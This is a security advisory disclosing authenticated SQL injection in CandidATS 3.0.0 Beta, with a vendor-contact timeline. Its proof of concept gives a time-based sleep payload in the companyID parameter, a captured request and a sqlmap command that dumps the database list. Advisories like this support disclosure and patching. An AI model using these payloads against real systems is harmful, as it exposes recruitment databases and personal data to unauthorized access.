CandidATS 3.0.0 - Authenticated SQL Injection
Summary
| Name | CandidATS 3.0.0 - Authenticated SQL Injection |
| Code name | |
| Product | CandidATS |
| Affected versions | Version 3.0.0 Beta (Pilava Beta) |
| State | Public |
| Release date | 2022-07-19 |
Vulnerability
| Kind | SQL injection |
| Rule | |
| Remote | Yes |
| CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| CVSSv3.1 Base Score | 6.3 |
| Exploit available | No |
| CVE ID(s) |
Description
CandidATS Version 3.0.0 Beta allows an authenticated user to inject SQL queries in /index.php?m=settings&a=show via the userID parameter, in /index.php?m=candidates&a=show via the candidateID, in /index.php?m=joborders&a=show via the jobOrderID and /index.php?m=companies&a=show via the companyID parameter
Proof of Concept
-
Log in to CandidATS with a user who has permissions to read job orders, candidates or companies.
-
Go to
index.php?m=joborders(or any of the option above). -
Uncheck the
Only My Companiesoption. -
Select any of the items listed and intercept the request with BurpSuite.
-
It is possible to inject sql sentences inside the companyID parameter, for example, the following request will make the database sleep for 5 seconds.
GET /candidATS/index.php?m=companies&a=show&companyID=2+or+sleep(5) HTTP/1.1
- Save the intercepted request into a file.
GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
Host: 172.16.28.136
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: CATS=dji5p76l4ajdpubegkt552ma9n
Upgrade-Insecure-Requests: 1
- Run the following command from sqlmap in order to extract information from the database.
$ sqlmap -r companyId.req -p companyID --dbs --batch
Exploit
It is possible to use sqlmap in order to extract information from the database
Mitigation
This information will be released later according to our Responsible Disclosure Policy.
Credits
The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.
References
Vendor page https://candidats.net/forums/
Timeline
2022-04-19
Vulnerability discovered.
2022-04-19
Vendor contacted.
2022-04-20
Vendor replied acknowledging the report.
2022-04-20
Vendor Confirmed the vulnerability.
2022-07-19
Public Disclosure.
